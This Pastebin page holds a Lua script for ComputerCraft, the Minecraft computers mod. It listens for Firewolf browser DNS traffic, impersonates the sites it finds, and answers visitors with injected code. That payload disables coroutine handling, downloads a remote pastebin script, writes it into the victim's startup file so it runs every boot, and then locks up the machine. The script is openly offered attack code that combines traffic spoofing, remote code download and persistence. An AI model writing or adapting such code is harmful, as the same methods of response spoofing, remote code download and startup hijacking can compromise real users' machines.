Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- while turtle.up() do sleep(0) end
- main=[[
- local g=_G
- local f=g.coroutine.yield
- g.coroutine.yeild=function() end
- local file=g.fs.open("startup","w")
- file.write((http.get("http://pastebin.com/raw.php?i=TmRgjvv6").readAll().." shell.run('startup')"))
- file.close()
- g.coroutine.yield=function( ... ) error("") end
- g.os.pullEvent=f
- while true do os.pullEvent() end
- ]]
- local modem
- for k,v in pairs(rs.getSides()) do
- if peripheral.getType(v)=="modem" then
- modem=peripheral.wrap(v)
- end
- end
- if term.isColor() then
- term.setTextColor(colors.lime)
- else
- print("")
- end
- modem.open(65535)
- local req={}
- local treq={}
- local webs={}
- while true do
- local p={os.pullEvent()}
- if p[1]=="modem_message" then
- if p[5]=="firewolf.broadcast.dns.list" then
- req[p[4]]=true
- treq[os.startTimer(0.5)]=p[4]
- modem.open(p[4])
- elseif string.sub(p[5],1,14)=="firewolf-site:" and req[p[3]] then
- webs[string.sub(p[5],15,-1)]=p[4]
- modem.open(p[4])
- print("SITE: "..p[5])
- elseif webs[p[5]]==p[3] then
- modem.transmit(p[4],webs[p[5]],main)
- print("CODE INJECT!")
- end
- elseif p[1]=="timer" then
- if treq[p[2]] then
- req[treq[p[2]]]=nil
- modem.close(treq[p[2]])
- print("PASS!")
- end
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement